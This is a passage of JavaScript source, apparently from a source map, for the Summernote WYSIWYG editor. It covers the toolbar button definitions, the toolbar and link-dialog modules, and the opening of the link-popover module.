}).render();\n    });\n\n    this.context.memo('button.clear', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.eraser),\n        tooltip: this.lang.font.clear + this.representShortcut('removeFormat'),\n        click: this.context.createInvokeHandler('editor.removeFormat')\n      }).render();\n    });\n\n    this.context.memo('button.strikethrough', () => {\n      return this.button({\n        className: 'note-btn-strikethrough',\n        contents: this.ui.icon(this.options.icons.strikethrough),\n        tooltip: this.lang.font.strikethrough + this.representShortcut('strikethrough'),\n        click: this.context.createInvokeHandlerAndUpdateState('editor.strikethrough')\n      }).render();\n    });\n\n    this.context.memo('button.superscript', () => {\n      return this.button({\n        className: 'note-btn-superscript',\n        contents: this.ui.icon(this.options.icons.superscript),\n        tooltip: this.lang.font.superscript,\n        click: this.context.createInvokeHandlerAndUpdateState('editor.superscript')\n      }).render();\n    });\n\n    this.context.memo('button.subscript', () => {\n      return this.button({\n        className: 'note-btn-subscript',\n        contents: this.ui.icon(this.options.icons.subscript),\n        tooltip: this.lang.font.subscript,\n        click: this.context.createInvokeHandlerAndUpdateState('editor.subscript')\n      }).render();\n    });\n\n    this.context.memo('button.fontname', () => {\n      const styleInfo = this.context.invoke('editor.currentStyle');\n\n      // Add 'default' fonts into the fontnames array if not exist\n      $.each(styleInfo['font-family'].split(','), (idx, fontname) => {\n        fontname = fontname.trim().replace(/['\"]+/g, '');\n        if (this.isFontDeservedToAdd(fontname)) {\n          if ($.inArray(fontname, this.options.fontNames) === -1) {\n            this.options.fontNames.push(fontname);\n          }\n        }\n      });\n\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(\n            '<span class=\"note-current-fontname\"/>', this.options\n          ),\n          tooltip: this.lang.font.name,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          className: 'dropdown-fontname',\n          checkClassName: this.options.icons.menuCheck,\n          items: this.options.fontNames.filter(this.isFontInstalled.bind(this)),\n          title: this.lang.font.name,\n          template: (item) => {\n            return '<span style=\"font-family: \\'' + item + '\\'\">' + item + '</span>';\n          },\n          click: this.context.createInvokeHandlerAndUpdateState('editor.fontName')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.fontsize', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents('<span class=\"note-current-fontsize\"/>', this.options),\n          tooltip: this.lang.font.size,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          className: 'dropdown-fontsize',\n          checkClassName: this.options.icons.menuCheck,\n          items: this.options.fontSizes,\n          title: this.lang.font.size,\n          click: this.context.createInvokeHandlerAndUpdateState('editor.fontSize')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.color', () => {\n      return this.ui.buttonGroup({\n        className: 'note-color',\n        children: [\n          this.button({\n            className: 'note-current-color-button',\n            contents: this.ui.icon(this.options.icons.font + ' note-recent-color'),\n            tooltip: this.lang.color.recent,\n            click: (e) => {\n              const $button = $(e.currentTarget);\n              this.context.invoke('editor.color', {\n                backColor: $button.attr('data-backColor'),\n                foreColor: $button.attr('data-foreColor')\n              });\n            },\n            callback: ($button) => {\n              const $recentColor = $button.find('.note-recent-color');\n              $recentColor.css('background-color', '#FFFF00');\n              $button.attr('data-backColor', '#FFFF00');\n            }\n          }),\n          this.button({\n            className: 'dropdown-toggle',\n            contents: this.ui.dropdownButtonContents('', this.options),\n            tooltip: this.lang.color.more,\n            data: {\n              toggle: 'dropdown'\n            }\n          }),\n          this.ui.dropdown({\n            items: [\n              '<div class=\"note-palette\">',\n              '  <div class=\"note-palette-title\">' + this.lang.color.background + '</div>',\n              '  <div>',\n              '    <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"backColor\" data-value=\"inherit\">',\n              this.lang.color.transparent,\n              '    </button>',\n              '  </div>',\n              '  <div class=\"note-holder\" data-event=\"backColor\"/>',\n              '</div>',\n              '<div class=\"note-palette\">',\n              '  <div class=\"note-palette-title\">' + this.lang.color.foreground + '</div>',\n              '  <div>',\n              '    <button type=\"button\" class=\"note-color-reset btn btn-light\" data-event=\"removeFormat\" data-value=\"foreColor\">',\n              this.lang.color.resetToDefault,\n              '    </button>',\n              '  </div>',\n              '  <div class=\"note-holder\" data-event=\"foreColor\"/>',\n              '</div>'\n            ].join(''),\n            callback: ($dropdown) => {\n              $dropdown.find('.note-holder').each((idx, item) => {\n                const $holder = $(item);\n                $holder.append(this.ui.palette({\n                  colors: this.options.colors,\n                  colorsName: this.options.colorsName,\n                  eventName: $holder.data('event'),\n                  container: this.options.container,\n                  tooltip: this.options.tooltip\n                }).render());\n              });\n            },\n            click: (event) => {\n              const $button = $(event.target);\n              const eventName = $button.data('event');\n              const value = $button.data('value');\n\n              if (eventName && value) {\n                const key = eventName === 'backColor' ? 'background-color' : 'color';\n                const $color = $button.closest('.note-color').find('.note-recent-color');\n                const $currentButton = $button.closest('.note-color').find('.note-current-color-button');\n\n                $color.css(key, value);\n                $currentButton.attr('data-' + eventName, value);\n                this.context.invoke('editor.' + eventName, value);\n              }\n            }\n          })\n        ]\n      }).render();\n    });\n\n    this.context.memo('button.ul', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.unorderedlist),\n        tooltip: this.lang.lists.unordered + this.representShortcut('insertUnorderedList'),\n        click: this.context.createInvokeHandler('editor.insertUnorderedList')\n      }).render();\n    });\n\n    this.context.memo('button.ol', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.orderedlist),\n        tooltip: this.lang.lists.ordered + this.representShortcut('insertOrderedList'),\n        click: this.context.createInvokeHandler('editor.insertOrderedList')\n      }).render();\n    });\n\n    const justifyLeft = this.button({\n      contents: this.ui.icon(this.options.icons.alignLeft),\n      tooltip: this.lang.paragraph.left + this.representShortcut('justifyLeft'),\n      click: this.context.createInvokeHandler('editor.justifyLeft')\n    });\n\n    const justifyCenter = this.button({\n      contents: this.ui.icon(this.options.icons.alignCenter),\n      tooltip: this.lang.paragraph.center + this.representShortcut('justifyCenter'),\n      click: this.context.createInvokeHandler('editor.justifyCenter')\n    });\n\n    const justifyRight = this.button({\n      contents: this.ui.icon(this.options.icons.alignRight),\n      tooltip: this.lang.paragraph.right + this.representShortcut('justifyRight'),\n      click: this.context.createInvokeHandler('editor.justifyRight')\n    });\n\n    const justifyFull = this.button({\n      contents: this.ui.icon(this.options.icons.alignJustify),\n      tooltip: this.lang.paragraph.justify + this.representShortcut('justifyFull'),\n      click: this.context.createInvokeHandler('editor.justifyFull')\n    });\n\n    const outdent = this.button({\n      contents: this.ui.icon(this.options.icons.outdent),\n      tooltip: this.lang.paragraph.outdent + this.representShortcut('outdent'),\n      click: this.context.createInvokeHandler('editor.outdent')\n    });\n\n    const indent = this.button({\n      contents: this.ui.icon(this.options.icons.indent),\n      tooltip: this.lang.paragraph.indent + this.representShortcut('indent'),\n      click: this.context.createInvokeHandler('editor.indent')\n    });\n\n    this.context.memo('button.justifyLeft', func.invoke(justifyLeft, 'render'));\n    this.context.memo('button.justifyCenter', func.invoke(justifyCenter, 'render'));\n    this.context.memo('button.justifyRight', func.invoke(justifyRight, 'render'));\n    this.context.memo('button.justifyFull', func.invoke(justifyFull, 'render'));\n    this.context.memo('button.outdent', func.invoke(outdent, 'render'));\n    this.context.memo('button.indent', func.invoke(indent, 'render'));\n\n    this.context.memo('button.paragraph', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.alignLeft), this.options),\n          tooltip: this.lang.paragraph.paragraph,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown([\n          this.ui.buttonGroup({\n            className: 'note-align',\n            children: [justifyLeft, justifyCenter, justifyRight, justifyFull]\n          }),\n          this.ui.buttonGroup({\n            className: 'note-list',\n            children: [outdent, indent]\n          })\n        ])\n      ]).render();\n    });\n\n    this.context.memo('button.height', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.textHeight), this.options),\n          tooltip: this.lang.font.height,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdownCheck({\n          items: this.options.lineHeights,\n          checkClassName: this.options.icons.menuCheck,\n          className: 'dropdown-line-height',\n          title: this.lang.font.height,\n          click: this.context.createInvokeHandler('editor.lineHeight')\n        })\n      ]).render();\n    });\n\n    this.context.memo('button.table', () => {\n      return this.ui.buttonGroup([\n        this.button({\n          className: 'dropdown-toggle',\n          contents: this.ui.dropdownButtonContents(this.ui.icon(this.options.icons.table), this.options),\n          tooltip: this.lang.table.table,\n          data: {\n            toggle: 'dropdown'\n          }\n        }),\n        this.ui.dropdown({\n          title: this.lang.table.table,\n          className: 'note-table',\n          items: [\n            '<div class=\"note-dimension-picker\">',\n            '  <div class=\"note-dimension-picker-mousecatcher\" data-event=\"insertTable\" data-value=\"1x1\"/>',\n            '  <div class=\"note-dimension-picker-highlighted\"/>',\n            '  <div class=\"note-dimension-picker-unhighlighted\"/>',\n            '</div>',\n            '<div class=\"note-dimension-display\">1 x 1</div>'\n          ].join('')\n        })\n      ], {\n        callback: ($node) => {\n          const $catcher = $node.find('.note-dimension-picker-mousecatcher');\n          $catcher.css({\n            width: this.options.insertTableMaxSize.col + 'em',\n            height: this.options.insertTableMaxSize.row + 'em'\n          }).mousedown(this.context.createInvokeHandler('editor.insertTable'))\n            .on('mousemove', this.tableMoveHandler.bind(this));\n        }\n      }).render();\n    });\n\n    this.context.memo('button.link', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.link),\n        tooltip: this.lang.link.link + this.representShortcut('linkDialog.show'),\n        click: this.context.createInvokeHandler('linkDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.picture', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.picture),\n        tooltip: this.lang.image.image,\n        click: this.context.createInvokeHandler('imageDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.video', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.video),\n        tooltip: this.lang.video.video,\n        click: this.context.createInvokeHandler('videoDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.hr', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.minus),\n        tooltip: this.lang.hr.insert + this.representShortcut('insertHorizontalRule'),\n        click: this.context.createInvokeHandler('editor.insertHorizontalRule')\n      }).render();\n    });\n\n    this.context.memo('button.fullscreen', () => {\n      return this.button({\n        className: 'btn-fullscreen',\n        contents: this.ui.icon(this.options.icons.arrowsAlt),\n        tooltip: this.lang.options.fullscreen,\n        click: this.context.createInvokeHandler('fullscreen.toggle')\n      }).render();\n    });\n\n    this.context.memo('button.codeview', () => {\n      return this.button({\n        className: 'btn-codeview',\n        contents: this.ui.icon(this.options.icons.code),\n        tooltip: this.lang.options.codeview,\n        click: this.context.createInvokeHandler('codeview.toggle')\n      }).render();\n    });\n\n    this.context.memo('button.redo', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.redo),\n        tooltip: this.lang.history.redo + this.representShortcut('redo'),\n        click: this.context.createInvokeHandler('editor.redo')\n      }).render();\n    });\n\n    this.context.memo('button.undo', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.undo),\n        tooltip: this.lang.history.undo + this.representShortcut('undo'),\n        click: this.context.createInvokeHandler('editor.undo')\n      }).render();\n    });\n\n    this.context.memo('button.help', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.question),\n        tooltip: this.lang.options.help,\n        click: this.context.createInvokeHandler('helpDialog.show')\n      }).render();\n    });\n  }\n\n  /**\n   * image : [\n   *   ['imagesize', ['imageSize100', 'imageSize50', 'imageSize25']],\n   *   ['float', ['floatLeft', 'floatRight', 'floatNone' ]],\n   *   ['remove', ['removeMedia']]\n   * ],\n   */\n  addImagePopoverButtons() {\n    // Image Size Buttons\n    this.context.memo('button.imageSize100', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">100%</span>',\n        tooltip: this.lang.image.resizeFull,\n        click: this.context.createInvokeHandler('editor.resize', '1')\n      }).render();\n    });\n    this.context.memo('button.imageSize50', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">50%</span>',\n        tooltip: this.lang.image.resizeHalf,\n        click: this.context.createInvokeHandler('editor.resize', '0.5')\n      }).render();\n    });\n    this.context.memo('button.imageSize25', () => {\n      return this.button({\n        contents: '<span class=\"note-fontsize-10\">25%</span>',\n        tooltip: this.lang.image.resizeQuarter,\n        click: this.context.createInvokeHandler('editor.resize', '0.25')\n      }).render();\n    });\n\n    // Float Buttons\n    this.context.memo('button.floatLeft', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignLeft),\n        tooltip: this.lang.image.floatLeft,\n        click: this.context.createInvokeHandler('editor.floatMe', 'left')\n      }).render();\n    });\n\n    this.context.memo('button.floatRight', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignRight),\n        tooltip: this.lang.image.floatRight,\n        click: this.context.createInvokeHandler('editor.floatMe', 'right')\n      }).render();\n    });\n\n    this.context.memo('button.floatNone', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.alignJustify),\n        tooltip: this.lang.image.floatNone,\n        click: this.context.createInvokeHandler('editor.floatMe', 'none')\n      }).render();\n    });\n\n    // Remove Buttons\n    this.context.memo('button.removeMedia', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.trash),\n        tooltip: this.lang.image.remove,\n        click: this.context.createInvokeHandler('editor.removeMedia')\n      }).render();\n    });\n  }\n\n  addLinkPopoverButtons() {\n    this.context.memo('button.linkDialogShow', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.link),\n        tooltip: this.lang.link.edit,\n        click: this.context.createInvokeHandler('linkDialog.show')\n      }).render();\n    });\n\n    this.context.memo('button.unlink', () => {\n      return this.button({\n        contents: this.ui.icon(this.options.icons.unlink),\n        tooltip: this.lang.link.unlink,\n        click: this.context.createInvokeHandler('editor.unlink')\n      }).render();\n    });\n  }\n\n  /**\n   * table : [\n   *  ['add', ['addRowDown', 'addRowUp', 'addColLeft', 'addColRight']],\n   *  ['delete', ['deleteRow', 'deleteCol', 'deleteTable']]\n   * ],\n   */\n  addTablePopoverButtons() {\n    this.context.memo('button.addRowUp', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowAbove),\n        tooltip: this.lang.table.addRowAbove,\n        click: this.context.createInvokeHandler('editor.addRow', 'top')\n      }).render();\n    });\n    this.context.memo('button.addRowDown', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowBelow),\n        tooltip: this.lang.table.addRowBelow,\n        click: this.context.createInvokeHandler('editor.addRow', 'bottom')\n      }).render();\n    });\n    this.context.memo('button.addColLeft', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colBefore),\n        tooltip: this.lang.table.addColLeft,\n        click: this.context.createInvokeHandler('editor.addCol', 'left')\n      }).render();\n    });\n    this.context.memo('button.addColRight', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colAfter),\n        tooltip: this.lang.table.addColRight,\n        click: this.context.createInvokeHandler('editor.addCol', 'right')\n      }).render();\n    });\n    this.context.memo('button.deleteRow', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.rowRemove),\n        tooltip: this.lang.table.delRow,\n        click: this.context.createInvokeHandler('editor.deleteRow')\n      }).render();\n    });\n    this.context.memo('button.deleteCol', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.colRemove),\n        tooltip: this.lang.table.delCol,\n        click: this.context.createInvokeHandler('editor.deleteCol')\n      }).render();\n    });\n    this.context.memo('button.deleteTable', () => {\n      return this.button({\n        className: 'btn-md',\n        contents: this.ui.icon(this.options.icons.trash),\n        tooltip: this.lang.table.delTable,\n        click: this.context.createInvokeHandler('editor.deleteTable')\n      }).render();\n    });\n  }\n\n  build($container, groups) {\n    for (let groupIdx = 0, groupLen = groups.length; groupIdx < groupLen; groupIdx++) {\n      const group = groups[groupIdx];\n      const groupName = $.isArray(group) ? group[0] : group;\n      const buttons = $.isArray(group) ? ((group.length === 1) ? [group[0]] : group[1]) : [group];\n\n      const $group = this.ui.buttonGroup({\n        className: 'note-' + groupName\n      }).render();\n\n      for (let idx = 0, len = buttons.length; idx < len; idx++) {\n        const btn = this.context.memo('button.' + buttons[idx]);\n        if (btn) {\n          $group.append(typeof btn === 'function' ? btn(this.context) : btn);\n        }\n      }\n      $group.appendTo($container);\n    }\n  }\n\n  /**\n   * @param {jQuery} [$container]\n   */\n  updateCurrentStyle($container) {\n    const $cont = $container || this.$toolbar;\n\n    const styleInfo = this.context.invoke('editor.currentStyle');\n    this.updateBtnStates($cont, {\n      '.note-btn-bold': () => {\n        return styleInfo['font-bold'] === 'bold';\n      },\n      '.note-btn-italic': () => {\n        return styleInfo['font-italic'] === 'italic';\n      },\n      '.note-btn-underline': () => {\n        return styleInfo['font-underline'] === 'underline';\n      },\n      '.note-btn-subscript': () => {\n        return styleInfo['font-subscript'] === 'subscript';\n      },\n      '.note-btn-superscript': () => {\n        return styleInfo['font-superscript'] === 'superscript';\n      },\n      '.note-btn-strikethrough': () => {\n        return styleInfo['font-strikethrough'] === 'strikethrough';\n      }\n    });\n\n    if (styleInfo['font-family']) {\n      const fontNames = styleInfo['font-family'].split(',').map((name) => {\n        return name.replace(/[\\'\\\"]/g, '')\n          .replace(/\\s+$/, '')\n          .replace(/^\\s+/, '');\n      });\n      const fontName = lists.find(fontNames, this.isFontInstalled.bind(this));\n\n      $cont.find('.dropdown-fontname a').each((idx, item) => {\n        const $item = $(item);\n        // always compare string to avoid creating another func.\n        const isChecked = ($item.data('value') + '') === (fontName + '');\n        $item.toggleClass('checked', isChecked);\n      });\n      $cont.find('.note-current-fontname').text(fontName).css('font-family', fontName);\n    }\n\n    if (styleInfo['font-size']) {\n      const fontSize = styleInfo['font-size'];\n      $cont.find('.dropdown-fontsize a').each((idx, item) => {\n        const $item = $(item);\n        // always compare with string to avoid creating another func.\n        const isChecked = ($item.data('value') + '') === (fontSize + '');\n        $item.toggleClass('checked', isChecked);\n      });\n      $cont.find('.note-current-fontsize').text(fontSize);\n    }\n\n    if (styleInfo['line-height']) {\n      const lineHeight = styleInfo['line-height'];\n      $cont.find('.dropdown-line-height li a').each((idx, item) => {\n        // always compare with string to avoid creating another func.\n        const isChecked = ($(item).data('value') + '') === (lineHeight + '');\n        this.className = isChecked ? 'checked' : '';\n      });\n    }\n  }\n\n  updateBtnStates($container, infos) {\n    $.each(infos, (selector, pred) => {\n      this.ui.toggleBtnActive($container.find(selector), pred());\n    });\n  }\n\n  tableMoveHandler(event) {\n    const PX_PER_EM = 18;\n    const $picker = $(event.target.parentNode); // target is mousecatcher\n    const $dimensionDisplay = $picker.next();\n    const $catcher = $picker.find('.note-dimension-picker-mousecatcher');\n    const $highlighted = $picker.find('.note-dimension-picker-highlighted');\n    const $unhighlighted = $picker.find('.note-dimension-picker-unhighlighted');\n\n    let posOffset;\n    // HTML5 with jQuery - e.offsetX is undefined in Firefox\n    if (event.offsetX === undefined) {\n      const posCatcher = $(event.target).offset();\n      posOffset = {\n        x: event.pageX - posCatcher.left,\n        y: event.pageY - posCatcher.top\n      };\n    } else {\n      posOffset = {\n        x: event.offsetX,\n        y: event.offsetY\n      };\n    }\n\n    const dim = {\n      c: Math.ceil(posOffset.x / PX_PER_EM) || 1,\n      r: Math.ceil(posOffset.y / PX_PER_EM) || 1\n    };\n\n    $highlighted.css({ width: dim.c + 'em', height: dim.r + 'em' });\n    $catcher.data('value', dim.c + 'x' + dim.r);\n\n    if (dim.c > 3 && dim.c < this.options.insertTableMaxSize.col) {\n      $unhighlighted.css({ width: dim.c + 1 + 'em' });\n    }\n\n    if (dim.r > 3 && dim.r < this.options.insertTableMaxSize.row) {\n      $unhighlighted.css({ height: dim.r + 1 + 'em' });\n    }\n\n    $dimensionDisplay.html(dim.c + ' x ' + dim.r);\n  }\n}\n","import $ from 'jquery';\nexport default class Toolbar {\n  constructor(context) {\n    this.context = context;\n\n    this.$window = $(window);\n    this.$document = $(document);\n\n    this.ui = $.summernote.ui;\n    this.$note = context.layoutInfo.note;\n    this.$editor = context.layoutInfo.editor;\n    this.$toolbar = context.layoutInfo.toolbar;\n    this.options = context.options;\n\n    this.followScroll = this.followScroll.bind(this);\n  }\n\n  shouldInitialize() {\n    return !this.options.airMode;\n  }\n\n  initialize() {\n    this.options.toolbar = this.options.toolbar || [];\n\n    if (!this.options.toolbar.length) {\n      this.$toolbar.hide();\n    } else {\n      this.context.invoke('buttons.build', this.$toolbar, this.options.toolbar);\n    }\n\n    if (this.options.toolbarContainer) {\n      this.$toolbar.appendTo(this.options.toolbarContainer);\n    }\n\n    this.changeContainer(false);\n\n    this.$note.on('summernote.keyup summernote.mouseup summernote.change', () => {\n      this.context.invoke('buttons.updateCurrentStyle');\n    });\n\n    this.context.invoke('buttons.updateCurrentStyle');\n    if (this.options.followingToolbar) {\n      this.$window.on('scroll resize', this.followScroll);\n    }\n  }\n\n  destroy() {\n    this.$toolbar.children().remove();\n\n    if (this.options.followingToolbar) {\n      this.$window.off('scroll resize', this.followScroll);\n    }\n  }\n\n  followScroll() {\n    if (this.$editor.hasClass('fullscreen')) {\n      return false;\n    }\n\n    const $toolbarWrapper = this.$toolbar.parent('.note-toolbar-wrapper');\n    const editorHeight = this.$editor.outerHeight();\n    const editorWidth = this.$editor.width();\n\n    const toolbarHeight = this.$toolbar.height();\n    $toolbarWrapper.css({\n      height: toolbarHeight\n    });\n\n    // check if the web app is currently using another static bar\n    let otherBarHeight = 0;\n    if (this.options.otherStaticBar) {\n      otherBarHeight = $(this.options.otherStaticBar).outerHeight();\n    }\n\n    const currentOffset = this.$document.scrollTop();\n    const editorOffsetTop = this.$editor.offset().top;\n    const editorOffsetBottom = editorOffsetTop + editorHeight;\n    const activateOffset = editorOffsetTop - otherBarHeight;\n    const deactivateOffsetBottom = editorOffsetBottom - otherBarHeight - toolbarHeight;\n\n    if ((currentOffset > activateOffset) && (currentOffset < deactivateOffsetBottom)) {\n      this.$toolbar.css({\n        position: 'fixed',\n        top: otherBarHeight,\n        width: editorWidth\n      });\n    } else {\n      this.$toolbar.css({\n        position: 'relative',\n        top: 0,\n        width: '100%'\n      });\n    }\n  }\n\n  changeContainer(isFullscreen) {\n    if (isFullscreen) {\n      this.$toolbar.prependTo(this.$editor);\n    } else {\n      if (this.options.toolbarContainer) {\n        this.$toolbar.appendTo(this.options.toolbarContainer);\n      }\n    }\n  }\n\n  updateFullscreen(isFullscreen) {\n    this.ui.toggleBtnActive(this.$toolbar.find('.btn-fullscreen'), isFullscreen);\n\n    this.changeContainer(isFullscreen);\n  }\n\n  updateCodeview(isCodeview) {\n    this.ui.toggleBtnActive(this.$toolbar.find('.btn-codeview'), isCodeview);\n    if (isCodeview) {\n      this.deactivate();\n    } else {\n      this.activate();\n    }\n  }\n\n  activate(isIncludeCodeview) {\n    let $btn = this.$toolbar.find('button');\n    if (!isIncludeCodeview) {\n      $btn = $btn.not('.btn-codeview');\n    }\n    this.ui.toggleBtn($btn, true);\n  }\n\n  deactivate(isIncludeCodeview) {\n    let $btn = this.$toolbar.find('button');\n    if (!isIncludeCodeview) {\n      $btn = $btn.not('.btn-codeview');\n    }\n    this.ui.toggleBtn($btn, false);\n  }\n}\n","import $ from 'jquery';\nimport env from '../core/env';\nimport key from '../core/key';\n\nexport default class LinkDialog {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.$body = $(document.body);\n    this.$editor = context.layoutInfo.editor;\n    this.options = context.options;\n    this.lang = this.options.langInfo;\n\n    context.memo('help.linkDialog.show', this.options.langInfo.help['linkDialog.show']);\n  }\n\n  initialize() {\n    const $container = this.options.dialogsInBody ? this.$body : this.$editor;\n\n    const body = [\n      '<div class=\"form-group note-form-group\">',\n      `<label class=\"note-form-label\">${this.lang.link.textToDisplay}</label>`,\n      '<input class=\"note-link-text form-control note-form-control  note-input\" type=\"text\" />',\n      '</div>',\n      '<div class=\"form-group note-form-group\">',\n      `<label class=\"note-form-label\">${this.lang.link.url}</label>`,\n      '<input class=\"note-link-url form-control note-form-control note-input\" type=\"text\" value=\"http://\" />',\n      '</div>',\n      !this.options.disableLinkTarget\n        ? $('<div/>').append(this.ui.checkbox({\n          id: 'sn-checkbox-open-in-new-window',\n          text: this.lang.link.openInNewWindow,\n          checked: true\n        }).render()).html()\n        : ''\n    ].join('');\n\n    const buttonClass = 'btn btn-primary note-btn note-btn-primary note-link-btn';\n    const footer = `<button type=\"submit\" href=\"#\" class=\"${buttonClass}\" disabled>${this.lang.link.insert}</button>`;\n\n    this.$dialog = this.ui.dialog({\n      className: 'link-dialog',\n      title: this.lang.link.insert,\n      fade: this.options.dialogsFade,\n      body: body,\n      footer: footer\n    }).render().appendTo($container);\n  }\n\n  destroy() {\n    this.ui.hideDialog(this.$dialog);\n    this.$dialog.remove();\n  }\n\n  bindEnterKey($input, $btn) {\n    $input.on('keypress', (event) => {\n      if (event.keyCode === key.code.ENTER) {\n        event.preventDefault();\n        $btn.trigger('click');\n      }\n    });\n  }\n\n  /**\n   * toggle update button\n   */\n  toggleLinkBtn($linkBtn, $linkText, $linkUrl) {\n    this.ui.toggleBtn($linkBtn, $linkText.val() && $linkUrl.val());\n  }\n\n  /**\n   * Show link dialog and set event handlers on dialog controls.\n   *\n   * @param {Object} linkInfo\n   * @return {Promise}\n   */\n  showLinkDialog(linkInfo) {\n    return $.Deferred((deferred) => {\n      const $linkText = this.$dialog.find('.note-link-text');\n      const $linkUrl = this.$dialog.find('.note-link-url');\n      const $linkBtn = this.$dialog.find('.note-link-btn');\n      const $openInNewWindow = this.$dialog.find('input[type=checkbox]');\n\n      this.ui.onDialogShown(this.$dialog, () => {\n        this.context.triggerEvent('dialog.shown');\n\n        // if no url was given, copy text to url\n        if (!linkInfo.url) {\n          linkInfo.url = linkInfo.text;\n        }\n\n        $linkText.val(linkInfo.text);\n\n        const handleLinkTextUpdate = () => {\n          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n          // if linktext was modified by keyup,\n          // stop cloning text from linkUrl\n          linkInfo.text = $linkText.val();\n        };\n\n        $linkText.on('input', handleLinkTextUpdate).on('paste', () => {\n          setTimeout(handleLinkTextUpdate, 0);\n        });\n\n        const handleLinkUrlUpdate = () => {\n          this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n          // display same link on `Text to display` input\n          // when create a new link\n          if (!linkInfo.text) {\n            $linkText.val($linkUrl.val());\n          }\n        };\n\n        $linkUrl.on('input', handleLinkUrlUpdate).on('paste', () => {\n          setTimeout(handleLinkUrlUpdate, 0);\n        }).val(linkInfo.url);\n\n        if (!env.isSupportTouch) {\n          $linkUrl.trigger('focus');\n        }\n\n        this.toggleLinkBtn($linkBtn, $linkText, $linkUrl);\n        this.bindEnterKey($linkUrl, $linkBtn);\n        this.bindEnterKey($linkText, $linkBtn);\n\n        const isChecked = linkInfo.isNewWindow !== undefined\n          ? linkInfo.isNewWindow : this.context.options.linkTargetBlank;\n\n        $openInNewWindow.prop('checked', isChecked);\n\n        $linkBtn.one('click', (event) => {\n          event.preventDefault();\n\n          deferred.resolve({\n            range: linkInfo.range,\n            url: $linkUrl.val(),\n            text: $linkText.val(),\n            isNewWindow: $openInNewWindow.is(':checked')\n          });\n          this.ui.hideDialog(this.$dialog);\n        });\n      });\n\n      this.ui.onDialogHidden(this.$dialog, () => {\n        // detach events\n        $linkText.off('input paste keypress');\n        $linkUrl.off('input paste keypress');\n        $linkBtn.off('click');\n\n        if (deferred.state() === 'pending') {\n          deferred.reject();\n        }\n      });\n\n      this.ui.showDialog(this.$dialog);\n    }).promise();\n  }\n\n  /**\n   * @param {Object} layoutInfo\n   */\n  show() {\n    const linkInfo = this.context.invoke('editor.getLinkInfo');\n\n    this.context.invoke('editor.saveRange');\n    this.showLinkDialog(linkInfo).then((linkInfo) => {\n      this.context.invoke('editor.restoreRange');\n      this.context.invoke('editor.createLink', linkInfo);\n    }).fail(() => {\n      this.context.invoke('editor.restoreRange');\n    });\n  }\n}\n","import $ from 'jquery';\nimport lists from '../core/lists';\nimport dom from '../core/dom';\n\nexport default class LinkPopover {\n  constructor(context) {\n    this.context = context;\n\n    this.ui = $.summernote.ui;\n    this.options = context.options;\n    this.events = {\n      'summernote.keyup summernote.mouseup summernote.change summernote.scroll': () => {\n        this.update();\n      },\n      'summernote.disable summernote.dialog.shown': () => {\n        this.hide();\n      }\n    };\n  }\n\n  shouldInitialize() {\n    return !lists.isEmpty(this.options.popover.link);\n  }\n\n  initialize() {\n    this.$popover = this.ui.popover({\n      className: 'note-link-popover',\n      callback: ($node) => {\n        const $content = $node.find('.popover-content,.note-popover-content');\n        $content.prepend('<span><a target=\"_blank\"></a>&nbsp;</span>');\n      }\n    }).render().appendTo(this.options.container);\n    const $content = this.$popover.find('.popover-content,.note-popover-content');\n\n    this.context.invoke('buttons.build', $content, this.options.popover.link);\n  }\n\n  destroy() {\n    this.$popover.remove();\n  }\n\n  update() {\n    // Prevent focusing on editable when invoke('code') is executed\n    if (!this.context.invoke('editor.hasFocus')) {\n      this.hide();\n      return;\n    }\n\n    const rng = this.context.invoke('editor.createRange');\n    if (rng.isCollapsed() && rng.isOnAnchor()) {\n      const anchor = dom.ancestor(rng.sc, dom.isAnchor);\n      const href = $(anchor).attr('href');\n      